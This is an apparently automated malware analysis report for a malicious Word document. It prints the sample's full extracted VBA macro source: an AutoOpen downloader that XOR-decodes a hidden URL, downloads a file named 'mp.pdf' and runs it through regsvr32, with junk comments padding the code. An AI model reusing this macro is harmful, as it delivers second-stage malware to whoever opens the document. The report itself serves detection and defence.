Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bf4a85f6b9a0cb4c…

MALICIOUS

Office (OOXML)

116.0 KB Created: 2020-07-21 08:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 6f0cd0c60f9ddaa037184878687d7241 SHA-1: 8c24438bf8ba12c1988c7399f523d479fdb855b7 SHA-256: bf4a85f6b9a0cb4cdfa42636b32c02d2d49fe7efa299b1607d776314de5dfca6
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The script uses URLDownloadToFile to download a file named 'mp.pdf' and then executes it using 'Shell'. The obfuscated nature of the script and the presence of a downloader heuristic indicate a high likelihood of this document being used to deliver a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal QK As LongPtr, ByVal z5 As String, ByVal XC As String, ByVal Pj As LongPtr, ByVal p7 As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    X7 = id(AL)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4242 bytes
SHA-256: b14df552841d91cb862f9f5da7ad99c3e23cb9658c68eb5b6278738c5e7b580b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "T0"
Function id(z9)
    
' Genie bathroom gabriel tacked stuttgart
' Algorithms bibliography expired trusts acropolis monotheism
' Swooping meanwhile palestine

' Incredible cambridge subversive cadillac grooves ages
' Suburban beta persevere orbit
' Stephanie simplified career nickname
' Variety bog expansive
' Coordinate coronation
wN = Split(z9, " ")
For N2 = 0 To UBound(wN)
 ju = ju & Chr(wN(N2) Xor 1)
Next N2
id = ju
End Function
Sub autoopen()
X7 = id(AL)

' Group pericles
' Jestingly sci czechs nonchalance piedmontese adults tasting log
frm.download X7, "mp.pdf"

' Moore proven prospective
' Coinage contributing
' Scoring wanda covering

' Gens emulate debasement spirituality section
' Portsmouth competency lifetime
' Markers formation caribbean shanty application
' Cellular warden mastiff editing sling

' Before dissolute demo usefully
' Cole ugly reticence
' Weighted brighton spiral
' Amp chubby births effusive hindu
' Greenhouse motorola guided governor

' Coffer pert chocolate supplant interrogate blockhead document forty
' Vex elsewhere co-operate
' Seventy-six correlative communities
' Leaflet socialist mechanism urns walnut

' Wishing
' Scamp
' Apparently markets
Dim ep As New WshShell
Call ep.exec(K5 & D1 & "32 mp.pdf")
End Sub

Attribute VB_Name = "T01"
Sub Y()

' Do fairfield expertise integral
' Louse icelandic

' Jones indoor indemnity recant attends suffocation damn
' Sumatra optimization
' Herring equally
' Insolvent dozens aquiline overhung players
' Intent holidays interpose

' Sodium adverted indus disclosure
' Beatitude qualities
' Wool prime august
' Achieving stoned laplace amaryllis

' Crypt insatiable adores pox unmindful
' Midi
' Unequivocally banns sesame facetiously commentary

' Madness blue gathering golf programmer
' Leguminous peruse donor jesse
' Courier subjecting itself body

' Fewest auto
' Cad satiate vaccination
' Unskilled levy
' Prevention irwin guys
' Wat deeply silence veneer nudity vegas

' Translation where interactive malaria yeh hamilton homicide
' Rugby ep
' Martha subjunctive presentations thirty

' Extraordinary sickening occasional aspiration
' Pierce hesse currency
' Flue tractable whir saturnine

' Muslim genesis

' Connecting tablet shovel mass

' Thats og groups rolling str boding
' Hundreds

' Sucking
' Gear handiwork according
' 411 deviation printing pshaw
' Immediately pharmacology fop bayou arctic
End Sub

Attribute VB_Name = "FR"
Public Const K5 As String = "reg"
Public Const D1 As String = "svr"
Public Const AL As String = "105 117 117 113 59 46 46 123 113 121 49 110 106 105 47 98 110 108 46 53 96 101 115 46 109 110 117 119 47 113 105 113 62 109 60 123 116 102 57 47 98 96 99"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal QK As LongPtr, ByVal z5 As String, ByVal XC As String, ByVal Pj As LongPtr, ByVal p7 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal QK As Long, ByVal z5 As String, ByVal XC As String, ByVal Pj As Long, ByVal p7 As Long) As Long
#End If
Function jI()

' Memorabilia
' Portuguese antibody about voyuer conditional
' Mama apartments vb incandescent
' Indigo masturbation verbatim betaken

' Fattening upheld oregon foray identical
' Restrictions incredulity leaves factotum
' Blend
' Bacterial incite zeb
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{4D3A66E2-0FFD-48DD-B470-CF71294412F2}{7913708F-A800-4D28-8796-8F1C6BF22B17}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: aa0853e4de9ed294e0b0042650ea71c7a5d5aafbd028f0f75ed478752dd8fc75